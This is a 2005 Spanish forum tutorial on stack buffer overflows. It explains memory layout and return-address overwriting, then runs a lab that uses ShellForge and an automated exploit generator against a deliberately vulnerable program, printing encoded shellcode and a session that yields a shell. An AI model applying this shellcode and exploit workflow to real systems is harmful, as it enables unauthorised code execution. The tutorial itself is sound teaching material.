Buffer overflows (teoria y practicas)

Si has creado algún documento interesante, este es su sitio

Moderador: Moderadores

Buffer overflows (teoria y practicas)

Notapor Moleman » Mar Feb 01, 2005 3:33 am

Bienvenidos al apasionante mundo de los desbordamientos de pila o "buffer overflows".
En esta parte de la charla intentare explicar los conceptos basicos de un buffer overflow.
Debido a que no todos los asistentes teneis la base necesaria para comprender los conceptos aqui explicados, intentare daroslo lo mas "masticadito" posible. No obstante como cabe la posibilidad de que alguno que otro si pueda aprovechar estos conceptos, la charla estara dividida en cada punto en "Seccion Teorica" y "Seccion EPD" (Especial para Despistados).
Conste que es sin animo de ofender. Solo es para que sea accesible a todo el mundo, y mas adelante los que no pudieron comprender la Seccion Teorica, dispongan de los logs que se haran de esta charla y de una buena base, dificil de encontrar en nuestro idioma por la red (por desgracia).

Y sin mas preambulos, COMENZAMOS....



***** Nota aclarativa para los que les pique el gusanillo con la Seccion Teorica:

Es recomendable un conocimiento basico de assembler.
Un entendimiento de los conceptos de memoria virtual, y experiencia con gdb o cualquier otro depurador/desensamblador son muy utiles pero no necesarios. Tambien hacer notar que estoy trabajando con una CPU AMD K6-2 (familia x86) y que el sistema operativo es Linux.



***** Algunas definiciones basicas antes de que comencemos:

Un buffer es simplemente un bloque contiguo de memoria de computadora que mantiene multiples instancias del mismo tipo de datos. Los programadores de C normalmente lo asocian con los "word buffer arrays". Mas comunmente, "characters arrays". Los arrays, como todas las variables en C, pueden ser declaradas tanto estaticos como dinamicos. Las variables estaticas son asignadas en la pila en tiempo de ejecucion.


-----EPD:

Basicamente es memoria que declaras para almacenar datos. Es decir, si quieres tener una cadena de caracteres, reservas la memoria y le pones un nombre para poder acceder y utilizarla.

----------


Hacer overflow es inundar, o llenar pasado el tope o rebasar. Aqui solo voy a explicar por encima solo el overflow de buffers dinamicos, tambien conocidos como "buffer overflows basados en la pila".



****************** Y UN POCO DE TEORIA NECESARIA.
(Se siente pero esto es general. No hay diferentes secciones. De todas maneras esta bastante clarificado y "masticadito" aunque suene tecnico. Para dudas mail a niputocaso@dev.null.org xþ )


***** Organizacion de Procesamiento de Memoria


Para entender que son los buffers de pila primero debemos entender como esta organizado un proceso en memoria. Los procesos estan divididos en tres regiones: Text, Data, y Stack. Nos concentraremos en la region stack (pila), pero primero una pequeña vista general de las otras regiones.

La region Text esta ajustada por el programa e incluye codigo (instrucciones) y datos solo-lectura. Esta region corresponde a la seccion "text" del archivo ejecutable. Esta region esta normalmente marcada solo-lectura y cualquier intento de escribir en ella resulta en una violacion de segmentacion o "segmentation fault" (esto le sonara a algunos).

La region Data contiene datos inicializados y sin inicializar. Las variables estaticas estan guardadas en esta region. La region Data corresponde a las secciones "data-bss" del archivo ejecutable.
Código: Seleccionar todo

                             /------------------\  direcciones
                             |                  |  mas bajas
                             |       Text       |  de memoria
                             |                  |
                             |------------------|
                             | (Initializados)  |
                             |       Datos      |
                             |(No inicializados)|
                             |------------------|
                             |                  |
                             |       Stack      |  direcciones
                             |                  |  mas altas
                             \------------------/  de memoria

                      Regiones de procesamiento de memoria




***** Que es un Stack (pila)?


Un stack o pila es un tipo abstracto de datos. Un stack de objetos tiene la propiedad de que el ultimo objeto ubicado en el stack sera el primer objeto en ser removido, o LIFO, es decir Last In First Out (Ultimo en llegar, Primero en salir) (Son un poco discriminantes, no? ;þ )

Varias operaciones son definidas en stacks. Dos de las mas importantes son PUSH y POP (esto es ensamblador o ASM).
PUSH agrega un elemento al principio de la pila. POP, en cambio, reduce el tamaño de la pila de a uno removiendo el ultimo elemento al tope de la pila.


***** Por Que Usamos Un Stack?

Las computadoras modernas estan diseñadas en mente con la necesidad de lenguajes de alto-nivel. La tecnica mas importante para estructurar programas introducidos por lenguajes de alto nivel es el procedimiento o funcion. Desde un punto de vista, una "procedure call" altera el flujo de control tal como un jump (salto) lo hace, pero a diferencia de un jump, cuando termina de llevar a cabo su tarea, una funcion devuelve el control a la instruccion que sigue a la llamada. Esta abstraccion de alto-nivel es implementada con ayuda del stack.


-----EPD:

Basicamente significa que cuando llamas a una funcion, despues de terminar de ejecutarse, vuelve y ejecuta lo siguiente que este escrito despues de la llamada a dicha funcion.

----------


El stack tambien es usado para asignar dinamicamente las variables locales usadas en funciones, para pasar parametros a las funciones, y para devolver valores desde la funcion.


Por ultimo decir que el stack suele "crecer" hacia abajo en las direcciones de memoria (esto es importante).


Veamos como se ve el stack en un ejemplo simple:

Seccion Teorica (lenguaje C):
Código: Seleccionar todo
void function(int a, int b, int c) {
   char buffer1[5];
   char buffer2[10];
}

void main() {
  function(1,2,3);
}



-----EPD (pseudocodigo):
Código: Seleccionar todo
mi_funcion(entero a, entero b, entero c)
*inicio
        buffer_de_caracteres_1[tamaño-5] ----->creamos bufer1
        buffer_de_caracteres_2[tamaño-10] ----->creamos bufer2
*fin

Funcion_principal
*inicio
        mi_funcion(insertar valores 1, 2, 3) ----->llamamos a mi_funcion
*fin

----------


Seccion Teorica:

Para entender que hace el programa para llamar a function() lo compilamos con gcc usando la opcion -S para generar codigo de salida en ASM en vez de un ejecutable:
(lo siento el_chaman, lo siento de veras ;) )


Shadowland:~$ gcc -S -o ejemplo-stack.s ejemplo-stack.c

Mirando la salida en ejemplo-stack.s vemos que la llamada para function() es traducida a:
Código: Seleccionar todo
        pushl $3
        pushl $2
        pushl $1
        call function

Pushea los 3 argumentos de la funcion hacia atras dentro del stack, y llama a function(). La instruccion 'call' pusheara el puntero de instruccion (IP) hacia el stack. Llamaremos IP guardado a la direccion de retorno (RET). La primer cosa hecha en function() es el prologo de procedimiento:
Código: Seleccionar todo
        pushl %ebp
        movl %esp,%ebp
        subl $20,%esp

Esto pushea EBP, el frame pointer, hacia el stack. Luego copia el actual SP hacia EBP, haciendolo el nuevo puntero FP. Llamaremos SFP al puntero FP guardado. Luego asigna espacio para las variables locales sustrayendo su tamaño desde SP.

Debemos recordar que la memoria puede ser solo direccionada en multiplos del tamaño del word. Un word en nuestro caso es 4 bytes, o 32 bits. Por lo que nuestro buffer de 5 bytes realmente va a tomar 8 bytes (2 words) de memoria, y nuestro buffer de 10 bytes va a tomar realmente 12 bytes (3 words) de memoria. Eso es el por que de que SP es sustraido por 20.
Con eso en mente nuestro stack se ve como esto cuando function() es llamada (cada punto representa un byte):

Código: Seleccionar todo
fondo memoria                                         tope  memoria

           buffer2       buffer1   sfp   ret   a     b     c
<------   [............][........][....][....][....][....][....]

tope stack                                              fondo stack



-----EPD:

Basicamente lo que hemos hecho arriba es traducir el codigo a ASM para ver las "instrucciones basicas" que entiende el ordenador y que son las que ejecutara.
Si nos fijamos, para llamar a mi_funcion(), en ensamblador, pasara los parametros que necesita a la pila y despues llamara a la funcion almacenando su direccion de retorno. La direccion de retorno es la direccion que le indica al procesador por donde se ha quedado despues de ejecutar una funcion. Es decir, digamos que el procesador salta a otro sitio para ejecutar una funcion, pero sin la direccion de retorno, no sabra que es lo siguiente a ejecutar, o sea, la siguiente instruccion despues de la llamada a mi_funcion().
Despues en el diagrama podemos observar como estaria colocada la pila y la memoria en relacion a ese programa.
Vemos la memoria necesaria para el buffer_de_caracteres_1 y buffer_de_caracteres_2 y tb donde esta colocadas los datos que necesita mi_funcion(): a, b y c y la famosa direccion de retorno para saber por donde se quedo.

----------


***** BUFFER OVERFLOWS. Que son y como funcionan. La-la-la.....


Un buffer overflow es el resultado de poner mas datos dentro de un buffer de los que puede manejar.
Miremos otro ejemplo:

Seccion Teorica:
Código: Seleccionar todo
void function(char *str) {
   char buffer[16];

   strcpy(buffer,str);
}

void main() {
  char large_string[256];
  int i;

  for( i = 0; i < 255; i++)
    large_string[i] = 'A';

  function(large_string);
}


-----EPD:
Código: Seleccionar todo
mi_funcion(cadena_caracteres)
*inicio*
        buffer_caracteres[tamaño-16] ------>(creamos bufer_caracteres)
        copia_cadena(buffer_caracteres, cadena_caracteres) -->(donde "buffer" es donde se copia y "cadena" es lo que se copia)
*fin*

Funcion_principal()
*inicio*
        bufer_muy_grande[tamaño-256] ---->(creamos buffer_muy_grande)
        entero i ----->(creamos variable para un numero entero)

        para (i=0) hasta (i<255) hacer
                copiar_en_bufer_muy_grande = una "A" ----->(se van acumulando)
                incrementar i en 1
        finpara

        mi_funcion(bufer_muy_grande) -->(llamamos a mi_funcion y le pasamos como dato el bufer_muy_grande)

----------

Este programa tiene una funcion con un tipico buffer overflow.
La funcion copia un string (string=cadena de caracteres) dado sin chequear si su tamaño es demasiado grande por usar strcpy() en vez de strncpy() ------>strncpy() si que chequea tamaño de buffer (es lo que se llama "programacion segura", pero ese es otro tema).
Si ejecutas este programa tal cual ( con el strcpy() ) obtendras una violacion de segmentacion. Veamos como se ve el stack cuando llamamos a funcion:

Código: Seleccionar todo
fondo memoria                                         tope  memoria

                  buffer            sfp   ret   *str
<------          [................][....][....][....]

tope stack                                              fondo stack



Que esta pasando aqui? Por que obtenemos una violacion de segmentacion?

Simple: strcpy() esta copiando los contenidos de *str (larger_string[]) dentro de buffer[] hasta que un caracter nulo es encontrado en el string.

-----EPD:

Copia_cadena esta copiando el bufer_muy_grande en bufer_caracteres que es mucho mas pequeño, sin comprobar si cabe dentro.

----------

Como podemos ver buffer[] es mucho mas pequeño que *str. buffer[] tiene 16 bytes de largo, y estamos tratando de llenarlo con 256 bytes. Esto significa que todos los 250 bytes despues del buffer en el stack estan siendo sobreescritos. Esto incluye el SFP, RET, e incluso *str !!!!!
Hemos llenado large_string con el caracter 'A'. Su valor de caracter hexadecimal es 0x41. Esto significa que la direccion de retorno es ahora 0x41414141. Esto es la parte de afuera del espacio de direccion de proceso. Esto es el por que de que la funcion vuelve y trata de leer la siguiente instruccion desde esa direccion de la que obtuviste una violacion de segmentacion.

-----EPD:

Basicamente al ser bufer_muy_grande mayor que bufer_caracteres, este ultimo se desborda y las "A" que sobran se escriben a continuacion de bufer_caracteres en la memoria. Esto hace que todo lo que hay despues de bufer_caracteres se sobreescriba con datos que no deberian estar ahi. Lo mas importante de esto y lo peligroso, es que se llega a sobreescribir la direccion de retorno, que como hemos explicado antes, es lo que le dice al procesador que es lo que tiene que ejecutar depues de acabar con la funcion. Y al sobreescribirse, hace que en vez de contener la direccion que toca, contenga los datos sobreescritos, en este caso, los valores hexadecimales de "A", o sea 0x41414141, y el procesador que es muy tonto, cree que eso es la direccion que apunta a lo que tiene que ejecutar, y al no haber ahi ninguna instruccion (puede haber cualquier cosa), es cuando "peta por todos los lados", y es lo que se conoce como violacion de segmento, o sea, que el programa se ha salido de su espacio de memoria propio.

----------



***** Shellcodes. Que "son"? (mas o menos)

Una shellcode (que no un exploit) es un programa codificado en hexadecimal y declarado como string dentro del exploit. Es decir que una shellcode no tiene porque dar una shell como comunmente se cree, si no que puede ser cualquier cosa.
Ejemplos: os acordais de Matrix cuando sale en la foto esa tan famosa que Trinity usa un exploit contra un daemon SSH 1.0??? Bien, pues en ese exploit, su shellcode no te daba shell, si no que cambiaba la pass de root. Entendeis? Una shellcode es simplemente un programa (pequeño y muy simple. Esto es importante) codificado en Hexadecimal, para que cuando se desborde el buffer, estos datos sean entendibles por el procesador.
Si le pasaramos tal cual el programa, el procesador diria que "tururu", que no traga, porque entenderia el hexadecimal de las letras que forman el codigo. Ahi viene la razon de codificarlo en hexadecimal. Realmente es mas complicado que simplemente compilar y pasar a hexadecimal, pero se sale del objetivo de la charla, ya que se supone que es "introductoria". Mas o menos, dejando de lado quejas por la teoria ;þ



Uffff, no se si me ha quedado muy complicado o no? Espero que me hayais seguido todos...

Debido a que esta es solo la primera parte de la charla, y se supone que es tan solo un poco de teoria para entender que es un buffer overflow, no puedo explayarme mas ni contar como se puede hacer un exploit simple ni mas cosas que me gustarian. No obstante intentaremos darlo "otro dia", "a la misma hora, en el mismo canal"... tananana-nananana, Batmaaaaaaaannn....

Continuara....


Bueno, ahora que lo pienso, si se podria hacer una "parte practica", jejejeje... PERO hay "a little problem". Los usuarios de Windows puede que puedan realizarlas o puede que no. No se a que es debido (puede ser el modo protegido o vete tu a saber), pero estas practicas funcionan en unos cygwin y en otros no. No obstante las voy a dar igual, para que los linuxeros las aprovechen asi como los windowseros con suerte. Lamento el contratiempo. :(

Ahora turno de preguntas y nos pondremos con las "practicas". Aunque seran breves pero espero que os gusten.




***** Practicando (el maravilloso mundo de las shellcodes ;) )

Bien, os voy a enseñar dos pequeñas utilidades que os facilitaran un poco el trabajo mientras aprendeis C y ASM. OJO!!! No son la panacea. Son simplemente ayudas al aprendizaje.
Hacer notar tambien que son herramientas en fase beta, es decir, pueden dar fallos y no funcionar como debieran, aunque puedo asegurar que de momento a mi me han funcionado durante las pruebas.
Asi que mientras aprendeis a hacerlo a mano, esto puede ayudar, pero lo mejor es sustituirlo por vuestras cabecitas cuanto antes mejor. ES SOLO UNA AYUDA. Que quede claro.

Descargaos de www.geocities.com/ciberadepto/practicas.tar.gz
(Para los usuarios de cygwin, metedlo dentro del cygwin. A partir de ahora trabajaremos en linux)


Descomprimid el tarball con tar -xzvf practicas.tar.gz
Esto os creara un directorio "practicas", dentro del cual encontrareis lo siguiente:

-rw-r--r-- topo/topo 10442 2003-08-17 23:26:49 practicas/0x333xes.c
-rw-r--r-- topo/topo 119 2003-08-17 23:26:49 practicas/shell.c
-rw-r--r-- topo/topo 313 2003-08-17 23:26:49 practicas/buffer.c
-rw------- topo/topo 10215 2003-08-17 23:26:49 practicas/shellforge-0.1.8.tar.gz

El archivo shell.c es un codigo en C que da shell (nota: si lo abris vereis que solo tiene un #include llamado sfsyscall.h. Mas adelante explicare porque). Es un simple programa que llama a /bin/sh. No hace nada mas.
El archivo buffer.c es un codigo de programa vulnerable a buffer overflow. Tiene un buffer definido de 200 pero no ejecuta ninguna comprobacion sobre si le pasamos mas datos de los que caben (ese es el fallo y lo que permitira explotarlo ;) ). Teneis que compilarlo con gcc buffer.c -o buffer

Primer programa: el ShellForge

Descomprimidlo con tar -xzvf shellforge-0.1.8.tar.gz y os creara un directorio con lo siguiente:

-rwxr-xr-x pbi/pbi 8472 2003-06-16 19:01:46 shellforge/shellforge.py
-rw-r--r-- pbi/pbi 212 2003-05-09 20:07:18 shellforge/xordecryptw.s
-rw-r--r-- pbi/pbi 210 2003-06-16 18:42:59 shellforge/xordecryptb.s
-rw-r--r-- pbi/pbi 10057 2003-05-16 18:15:55 shellforge/include/sfsocket.h
-rw-r--r-- pbi/pbi 21275 2003-05-16 18:16:51 shellforge/include/sfsyscall.h
-rw-r--r-- pbi/pbi 127 2003-05-11 19:56:23 shellforge/hello.c

El importante es el shellforge.py. Las dos librerias del directorio include sustituyen a las librerias basicas que se utilizan en C. La sfsyscall.h para funciones basicas y llamadas al sistema. La sfsocket.h para todo lo que sean conexiones con sockets y demas. Los ficheros xor son el metodo de encriptacion. No son relevantes para el uso del programa.
Este programa, el shellforge.py, es un script en python, que permite crear una shellcode en hexadecimal a partir de un codigo en C. Este codigo puede ser cualquier cosa, desde un tipico programa que de shell hasta un programa que cambie los permisos de un fichero.

Esta es la salida del programa:
Código: Seleccionar todo
Shadowland:~/pruebas/shellforge$ ./shellforge.py
Usage: shellforge [-v <verbosity>] [-c] [-t[t]] [-k[k]] <src.c>
  -v <verb> : adjust verbosity. Default is 1.
  -V        : return version number.
  -c        : ouput c instead of raw shellcode.
  -t        : output the code to a file (.tst.c) and compile it (imply -c).
  -tt       : same as -t, then try to run it.
  -k        : keep intermediate files (.s and .o, or .tst and tst.c with -tt).
  -k        : even keep .s and .o if in -tt mode.
  -z        : no xor loader to avoid zero bytes
  -r        : raw output (no escape sequences)

Bien, las opciones son bastante comprensibles. Ahora la prueba:

Coged el shell.c y copiadlo al directorio del shellforge (cp shell.c shellforge para los despistados). Entrad en el directorio del shellforge (cd shellforge) y ejecutad:
Código: Seleccionar todo
./shellforge.py shell.c


Os saldra algo como esto:
(nota: a mi me salen un monton de warnings, pero en otras maquinas no han salido. Como ya he dicho son betas ;) )
Código: Seleccionar todo
...monton de warnings...
** Tuning original assembler code
** Assembling modified asm
** Retrieving machine code
** Computing xor encryption key
** Shellcode forged!
\xeb\x0d\x5e\x31\xc9\xb1\x4e\x80\x36\x01\x46\xe2\xfa\xeb
\x05\xe8\xee\xff\xff\xff\xe9\x01\x01\x01\x01\x5a\x82\xea
\x04\x88\xd9\x30\xe1\xc0\xe9\x11\x84\xc1\x74\x03\x88\xdd
\x54\x88\xe4\x57\x52\x82\xed\x11\x8c\x92\x01\x01\x01\x01
\x30\xf7\x88\x54\xe9\x88\x54\xf5\x82\xe5\xf1\x8c\x4c\xe9\xc6
\x44\xed\x01\x01\x01\x01\xb9\x0a\x01\x01\x01\x88\xf3\x52
\x8a\x5c\xf5\xcc\x81\x5a\x8c\x64\xf9\x5a\x5f\xc8\xc2


Y ya esta!!!! Teneis vuestra propia shellcode codificada en hexadecimal. Simple no? Solo seria un copy&paste a vuestro exploit particular.


(testeadla, porque a veces el xor falla y no funciona correctamente :( Malditas betas xþ )

Bien, este programita es util por si solo, ya que os ahorra el trabajo de tener que codificar a mano la shellcode, pero aun hay mas señoras y señores...

Segundo programa: ShGen (en realidad se llama 0x333xes, pero es un nombre muy feo, asi que lo he rebautizado para la ocasion xþ )

Compiladlo con gcc 0x333xes.c -o shgen

Si ejecutais ./shgen la salida sera algo como esto:
Código: Seleccionar todo
Shadowland:~/pruebas/shellforge$ ./shgen

 [~] 0x333xes => stack overflow exploit generator v0.3 [~]
  [~]          coded by c0wboy ~ www.0x333.org          [~]

   Usage : ./shgen [-b binary] [-e env ] [-w switch] [-s type] [-x] [-l lenght] [-o lenght] [-a align] [-h]

      -b   bugged binary
      -e   set environment variable bugged
      -w   set switch bugged
      -s   shellcode type [0-2]
      -x   shellcode list
      -l   buffer lenght
      -o   evil buffer (nop+shellcode) lenght (default 1337)
      -a   align the buffer (try 1)
      -h   display this help


Bien, este programa va un paso mas alla que el Shellforge, pero al mismo tiempo tiene mas limitaciones. Este programa te genera un exploit completamente funcional para el programa que le pases como parametro, PERO dicho programa tiene que ser vulnerable a un "stack overflow", es decir a un desbordamiento de pila simple (nada de heap overflows ni format string overflows, etc... Eso otro dia ;þ ). Ademas hemos de conocer el tamaño del buffer vulnerable, porque si no... ;)


Los parametros basicos y necesarios son el -b que indica el programa vulnerable, el -l que indica la longitud del buffer vulnerable y el -o que indica el tamaño del shellcode a generar.
Nota importante: en el -l el tamaño que pongas, como norma no escrita, tiene que ser mayor en 100 unidades, es decir que si el buffer es de 200 tendriais que poner -l 300
Nota 2: en el -o tienes que poner entre 100 y 200 mas que en el -l No es una ciencia exacta, asi que si no sale a la primera, saldra a la segunda. El mismo programa te dira si lo consigue hacer o no.

Con respecto al -s indica el tipo de shellcode a usar. El programa incorpora 3 shellcodes: 1 de testing (no recomendable)que es el 0, una que te da shell que es el 1 y otra que cambia a setreuid (0,0) que es el 2. Utilizaremos la que lleva por defecto, el 1 que ademas es precisamente la que da shell.

Las otras opciones os las dejo como ejercicio de investigacion (no os lo voy a masticar mas. Currad!!!)


Bien, las practicas:

Tenemos el ShGen compilado y el programa buffer tambien compilado (deberiais haberlo compilado al principio).

El uso es tan sencillo como:

./shgen -b programa_vulnerable -l tambuffer+100 -o tam(l)+(entre 100 y 200)

Para probar haced esto (el programa buffer tiene un buffer vulnerable de 200 como podeis ver en el codigo):
Código: Seleccionar todo
./shgen -b buffer -l 300 -o 500


Y os deberia salir algo como esto:
Código: Seleccionar todo
Shadowland:~/pruebas/shellforge$ ./shgen -b buffer -l 300 -o 500

 [~] 0x333xes => stack overflow exploit generator [~]
 [~]        coded by c0wboy ~ www.0x333.org       [~]

 [*] creating source code ...
 [*] exploit created
 [*] now find correct ret add

  * testing 0xbffff000
  * testing 0xbffff12c
  * testing 0xbffff258
  * testing 0xbffff384
  * testing 0xbffff4b0
  * testing 0xbffff5dc
  * testing 0xbffff708
  * testing 0xbffff834
  * testing 0xbffff960
  * testing 0xbffffa8c
  * testing 0xbffffbb8
  * testing 0xbffffce4
  * testing 0xbffffe10
  * testing 0xbfffff3c

 [*] your working exploit for buffer is ready !

Como veis os dice que ya teneis el codigo del exploit listo en un archivo llamado exploit.c
Compiladlo con gcc exploit.c -o exploit y ejecutadlo
Código: Seleccionar todo
Shadowland:~/pruebas/shellforge$ ./exploit
Mi buffer es: <ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿
<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿
<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿
<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿
<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿
<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿
<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿<ÿÿ¿
sh-2.05b$


Veis??? Ya teneis una shell ;)
(en caso de que no os salga tendreis que variar el valor de -l y -o No es una ciencia exacta ;þ )

Por ultimo decir que con un poco de maña podriais mezclar estos dos programitas para hacer cualquier cosa. Eso lo dejo a vuestra imaginacion... Muahahahahaha.... upsss perdon... xþ
Si quiere un trabajo bien hecho... contrate a un profesional: BOFH
-<|:·þ

Imagen
Avatar de Usuario
Moleman
<|:-)
<|:-)
 
Mensajes: 393
Registrado: Mar Feb 01, 2005 3:12 am
Ubicación: Wadalbertia, 3º Cuadrante de la singularidad Cubo-Fregona-Ascensor

Volver a Faq

¿Quién está conectado?

Usuarios navegando por este Foro: No hay usuarios registrados visitando el Foro y 1 invitado